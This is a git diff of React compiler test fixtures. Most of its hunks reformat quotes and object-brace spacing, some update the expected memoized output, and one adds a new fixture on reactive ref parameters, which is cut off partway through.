diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.expect.md
index 2dc752515f7f..a43be0a9244a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.js
index e53977e70e0f..e8c0850c067a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.expect.md
index 8f7b4dc8a608..8da63b424f35 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.expect.md
@@ -19,14 +19,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.js
index 5518499a48ce..fc9f6b1eb6c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.js
@@ -15,13 +15,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.expect.md
index 652db3a37fee..963024e88715 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -29,14 +29,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
@@ -51,7 +51,7 @@ import { identity } from "shared-runtime";
 function Component(props) {
   const $ = _c(4);
   let x;
-  if ($[0] !== props.cond) {
+  if ($[0] !== props) {
     const f = () => {
       if (props.cond) {
         x = 1;
@@ -62,22 +62,20 @@ function Component(props) {
 
     const f2 = identity(f);
     f2();
-    $[0] = props.cond;
+    $[0] = props;
     $[1] = x;
   } else {
     x = $[1];
   }
-
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = [t0];
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = [x];
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.js
index 245ee99f3926..79d9bcbce574 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -25,13 +25,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.expect.md
index 35526fc9e8e0..f9f044ba7c4c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import invariant from "invariant";
-import { useState } from "react";
+import invariant from 'invariant';
+import {useState} from 'react';
 
 function Component(props) {
   const [x, setX] = useState(false);
@@ -15,7 +15,7 @@ function Component(props) {
     setState = setY;
   }
   const setState2 = setState;
-  const stateObject = { setState: setState2 };
+  const stateObject = {setState: setState2};
   return (
     <Foo
       cond={props.cond}
@@ -26,27 +26,27 @@ function Component(props) {
   );
 }
 
-function Foo({ cond, setX, setY, setState }) {
+function Foo({cond, setX, setY, setState}) {
   if (cond) {
-    invariant(setState === setX, "Expected the correct setState function");
+    invariant(setState === setX, 'Expected the correct setState function');
   } else {
-    invariant(setState === setY, "Expected the correct setState function");
+    invariant(setState === setY, 'Expected the correct setState function');
   }
-  return "ok";
+  return 'ok';
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
@@ -61,8 +61,8 @@ import { useState } from "react";
 
 function Component(props) {
   const $ = _c(5);
-  const [x, setX] = useState(false);
-  const [y, setY] = useState(false);
+  const [, setX] = useState(false);
+  const [, setY] = useState(false);
   let setState;
   if (props.cond) {
     setState = setX;
@@ -106,6 +106,7 @@ function Foo(t0) {
   } else {
     invariant(setState === setY, "Expected the correct setState function");
   }
+
   return "ok";
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.js
index 10b1357e0daa..2f1735b38b1c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-phi-setState-type.js
@@ -1,5 +1,5 @@
-import invariant from "invariant";
-import { useState } from "react";
+import invariant from 'invariant';
+import {useState} from 'react';
 
 function Component(props) {
   const [x, setX] = useState(false);
@@ -11,7 +11,7 @@ function Component(props) {
     setState = setY;
   }
   const setState2 = setState;
-  const stateObject = { setState: setState2 };
+  const stateObject = {setState: setState2};
   return (
     <Foo
       cond={props.cond}
@@ -22,26 +22,26 @@ function Component(props) {
   );
 }
 
-function Foo({ cond, setX, setY, setState }) {
+function Foo({cond, setX, setY, setState}) {
   if (cond) {
-    invariant(setState === setX, "Expected the correct setState function");
+    invariant(setState === setX, 'Expected the correct setState function');
   } else {
-    invariant(setState === setY, "Expected the correct setState function");
+    invariant(setState === setY, 'Expected the correct setState function');
   }
-  return "ok";
+  return 'ok';
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.expect.md
index 132a8a4ddaed..88e9788196d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.expect.md
@@ -33,14 +33,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.js
index 08ed5d6db48c..bb60872cb6d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-reactive-after-fixpoint.js
@@ -29,13 +29,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.expect.md
index 3dc71783b2e2..34351fc8dd3a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.expect.md
@@ -27,14 +27,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.js
index 61ce4cad2b42..e0ad925e59db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-case-test.js
@@ -23,13 +23,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.expect.md
index d2c1a6650a22..346dcb65f675 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 const GLOBAL = 42;
 
-function Component({ value }) {
+function Component({value}) {
   let x;
   switch (GLOBAL) {
     case value: {
@@ -25,14 +25,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { value: GLOBAL },
-    { value: GLOBAL },
-    { value: null },
-    { value: null },
-    { value: GLOBAL },
-    { value: null },
-    { value: GLOBAL },
-    { value: null },
+    {value: GLOBAL},
+    {value: GLOBAL},
+    {value: null},
+    {value: null},
+    {value: GLOBAL},
+    {value: null},
+    {value: GLOBAL},
+    {value: null},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.js
index da2b256c230b..fe5dd1c122ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-switch-condition.js
@@ -1,6 +1,6 @@
 const GLOBAL = 42;
 
-function Component({ value }) {
+function Component({value}) {
   let x;
   switch (GLOBAL) {
     case value: {
@@ -21,13 +21,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { value: GLOBAL },
-    { value: GLOBAL },
-    { value: null },
-    { value: null },
-    { value: GLOBAL },
-    { value: null },
-    { value: GLOBAL },
-    { value: null },
+    {value: GLOBAL},
+    {value: GLOBAL},
+    {value: null},
+    {value: null},
+    {value: GLOBAL},
+    {value: null},
+    {value: GLOBAL},
+    {value: null},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.expect.md
index d02e66abe811..65ae49543bdf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.expect.md
@@ -22,14 +22,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.js
index d8df5ac6f8de..f0fed51afe1e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-if.js
@@ -18,13 +18,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.expect.md
index 7542ad5ef5c1..0d12397a2bb9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.expect.md
@@ -25,14 +25,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.js
index f2c5544ba9a7..a3929e469f1b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-via-mutation-switch.js
@@ -21,13 +21,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { cond: true },
-    { cond: true },
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: false },
-    { cond: true },
-    { cond: false },
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.expect.md
index 2f54d99eb5ae..8a55048ccef3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.expect.md
@@ -24,14 +24,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.js
index 9bac5a7474d5..9df744cdb554 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-while-test.js
@@ -20,13 +20,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md
index 12a84b14f449..896a547fec25 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md
@@ -15,9 +15,9 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(2);
   let t0;
-  if ($[0] !== props.post.feedback.comments) {
+  if ($[0] !== props.post.feedback.comments?.edges) {
     t0 = props.post.feedback.comments?.edges?.map(render);
-    $[0] = props.post.feedback.comments;
+    $[0] = props.post.feedback.comments?.edges;
     $[1] = t0;
   } else {
     t0 = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.expect.md
index 6ef90c7549df..1c9366188339 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.expect.md
@@ -20,7 +20,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -33,6 +33,7 @@ function Component(props) {
   const $ = _c(2);
   let x = 0;
   let y = 0;
+
   while (x === 0) {
     x = y;
     y = props.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.js
index 0c00f61e5524..477d15e4b131 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-fixpoint.js
@@ -16,5 +16,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.expect.md
index 57bc0ea23e4b..c7178b9264c8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: 42 }],
+  params: [{y: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.js
index 877ac4fc5590..4a8206b77617 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-nonreactive-captured-with-reactive.js
@@ -6,5 +6,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: 42 }],
+  params: [{y: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.expect.md
index 140ca28a72aa..9ced7db26afe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const x = {};
@@ -15,7 +15,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: 42 }],
+  params: [{y: 42}],
 };
 
 ```
@@ -34,7 +34,6 @@ function Component(props) {
     const y = props.y;
     const z = [x, y];
     mutate(z);
-
     t0 = [x];
     $[0] = props.y;
     $[1] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.js
index 97835f1f6498..e6dba9a68c55 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-dependency-object-captured-with-reactive-mutated.js
@@ -1,4 +1,4 @@
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const x = {};
@@ -11,5 +11,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: 42 }],
+  params: [{y: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.expect.md
new file mode 100644
index 000000000000..96d97e99abfb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-ref-param.expect.md
@@ -0,0 +1,94 @@
+
+## Input
+
+```javascript
+import {useRef, forwardRef} from 'react';
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+
+function Parent({cond}) {
+  const ref1 = useRef(1);
+  const ref2 = useRef(2);
+  const ref = cond ? ref1 : ref2;
+  return <Child ref={ref} />;
+}
+
+function ChildImpl(_props, ref) {
+  const cb = () => ref.current;
+  return <Stringify cb={cb} shouldInvokeFns={true} />;
+}
+
+const Child = forwardRef(ChildImpl);
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Parent,
+  params: [{cond: true}],
+  sequentialRenders: [{cond: true}, {cond: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useRef, forwardRef } from "react";
+import { Stringify } from "shared-runtime";
+
+/**
+ * Fixture showing that Ref types may be reactive.
+ * We should always take a dependency on ref values (the outer box) as
+ * they may be reactive. Pruning should be done in
+ * `pruneNonReactiveDependencies`
+ */
+
+function Parent(t0) {
+  const $ = _c(2);
+  const { cond } = t0;
+  const ref1 = useRef(1);
